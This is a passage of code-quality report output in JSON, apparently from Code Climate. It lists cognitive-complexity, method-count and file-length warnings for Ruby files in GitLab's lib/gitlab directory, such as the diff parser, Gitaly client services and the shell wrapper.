(exceeds 250 allowed). Consider refactoring.","fingerprint":"bcd7afc2511311acf93e48f89b257ee8","location":{"path":"lib/gitlab/diff/file.rb","lines":{"begin":1,"end":356}},"other_locations":[],"remediation_points":1272000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `simple_viewer_class` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"455a703cf96823be99c475db08de0c9f","location":{"path":"lib/gitlab/diff/file.rb","lines":{"begin":311,"end":339}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `viewer_class_from` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cae1cebb92d35a5859ef229108d1e4c1","location":{"path":"lib/gitlab/diff/file.rb","lines":{"begin":345,"end":353}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `File` has 54 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"4872155d7a8ab149e4dbfdd0a34d314f","location":{"path":"lib/gitlab/diff/file.rb","lines":{"begin":3,"end":354}},"other_locations":[],"remediation_points":4600000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `simple_viewer_class` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"c663249a7eb69d79d53815c02da1287e","location":{"path":"lib/gitlab/diff/file.rb","lines":{"begin":311,"end":339}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `initialize` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"62d56326c2f46a050e8a9f1219488e25","location":{"path":"lib/gitlab/diff/line.rb","lines":{"begin":10,"end":10}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Position` has 22 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"44aef8e9a5055d83b7605ef01a8ffcd5","location":{"path":"lib/gitlab/diff/position.rb","lines":{"begin":5,"end":150}},"other_locations":[],"remediation_points":1400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `highlight` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"922e6aee35a311a79f1043b07ee7064d","location":{"path":"lib/gitlab/diff/highlight.rb","lines":{"begin":21,"end":44}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `highlight_line` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b41f2627f4109bdc5b74287cf3ba0d21","location":{"path":"lib/gitlab/diff/highlight.rb","lines":{"begin":48,"end":64}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `parallelize` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"631e96ad1ef01b07245ee2a542d76275","location":{"path":"lib/gitlab/diff/parallel_diff.rb","lines":{"begin":10,"end":58}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `parallelize` has 35 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"c801b9d4ce1a0b15a92b13570e4b4a73","location":{"path":"lib/gitlab/diff/parallel_diff.rb","lines":{"begin":10,"end":58}},"other_locations":[],"remediation_points":840000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `diff_stats_collection` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d1edfc550eecbd5daa471adab0ab3385","location":{"path":"lib/gitlab/diff/file_collection/base.rb","lines":{"begin":50,"end":59}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `parse` has a Cognitive Complexity of 29 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bfc88a6b4fdafecdb4881ebd0a709e90","location":{"path":"lib/gitlab/diff/parser.rb","lines":{"begin":6,"end":63}},"other_locations":[],"remediation_points":2550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `parse` has 42 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"6d81f9668924e2328ae1d3b978012b2e","location":{"path":"lib/gitlab/diff/parser.rb","lines":{"begin":6,"end":63}},"other_locations":[],"remediation_points":1008000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `trace` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"678e46609976cce578070c879cdeaa09","location":{"path":"lib/gitlab/diff/position_tracer.rb","lines":{"begin":18,"end":86}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `trace_added_line` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3d3253565d5f52fdc8e227a610a4ba02","location":{"path":"lib/gitlab/diff/position_tracer.rb","lines":{"begin":90,"end":127}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `trace_removed_line` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7a2345cd4720ceb59ce0efdf2c931d70","location":{"path":"lib/gitlab/diff/position_tracer.rb","lines":{"begin":129,"end":158}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `trace_unchanged_line` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"68d033636c672cf93801ba4a440a9b10","location":{"path":"lib/gitlab/diff/position_tracer.rb","lines":{"begin":160,"end":199}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `map_line_number` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"dc329e8839fe1c0b24ddd3dbaa5b8485","location":{"path":"lib/gitlab/diff/line_mapper.rb","lines":{"begin":30,"end":61}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `popen_with_detail` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1f3016518aa9a963248a02cac889fd75","location":{"path":"lib/gitlab/popen.rb","lines":{"begin":18,"end":51}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `request_cache` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c7f577fa9ce2f42e5f27aac8db514fe3","location":{"path":"lib/gitlab/cache/request_cache.rb","lines":{"begin":23,"end":58}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `store_in_cache_if_needed` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"baa77c71d04626f49bd5c1e57a0e2ca9","location":{"path":"lib/gitlab/cache/ci/project_pipeline_status.rb","lines":{"begin":92,"end":100}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `aggregate_rblineprof` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5c969b511dec60cc5ae82a493581e987","location":{"path":"lib/gitlab/sherlock/line_profiler.rb","lines":{"begin":59,"end":85}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `subscribe_to_active_record` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cb47c9a23a0a444f0c02f2ce82101c23","location":{"path":"lib/gitlab/sherlock/transaction.rb","lines":{"begin":88,"end":96}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `remove_keys_not_found_in_db` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"110e16cf8bc4b13203ae16707be71f9e","location":{"path":"lib/gitlab/shell.rb","lines":{"begin":229,"end":246}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Shell` has 37 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"9bb914cee67608b26add7bcc4f81b00b","location":{"path":"lib/gitlab/shell.rb","lines":{"begin":6,"end":445}},"other_locations":[],"remediation_points":2900000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `bulk_insert` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"46738c8e24da7d644d4613d9605d7262","location":{"path":"lib/gitlab/database.rb","lines":{"begin":167,"end":197}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `each` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f71d3611436ba9323475933db3b224e0","location":{"path":"lib/gitlab/gitaly_client/conflict_files_stitcher.rb","lines":{"begin":10,"end":26}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `each` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a4899ef1be9285a53b4a3412a311ee1f","location":{"path":"lib/gitlab/gitaly_client/blobs_stitcher.rb","lines":{"begin":10,"end":29}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `update_page` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"5e1fe756db8adf0384ead3d7ca4d40bb","location":{"path":"lib/gitlab/gitaly_client/wiki_service.rb","lines":{"begin":41,"end":41}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_file` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f2ac95cd9282cf75ce51181ba7bcf087","location":{"path":"lib/gitlab/gitaly_client/wiki_service.rb","lines":{"begin":128,"end":152}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `wiki_page_from_iterator` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8d18749d8e89aa853f84d5b8ab2fa1e0","location":{"path":"lib/gitlab/gitaly_client/wiki_service.rb","lines":{"begin":171,"end":192}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `commit_service.rb` has 334 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"459baf31c3d4b57e8c9df845211d85c9","location":{"path":"lib/gitlab/gitaly_client/commit_service.rb","lines":{"begin":1,"end":431}},"other_locations":[],"remediation_points":2409600,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `diff` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6776fdb83e8edfae5378441fd52a4925","location":{"path":"lib/gitlab/gitaly_client/commit_service.rb","lines":{"begin":33,"end":63}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `tree_entry` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"00baf604adba61e863f7d154a8dee72b","location":{"path":"lib/gitlab/gitaly_client/commit_service.rb","lines":{"begin":78,"end":109}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code 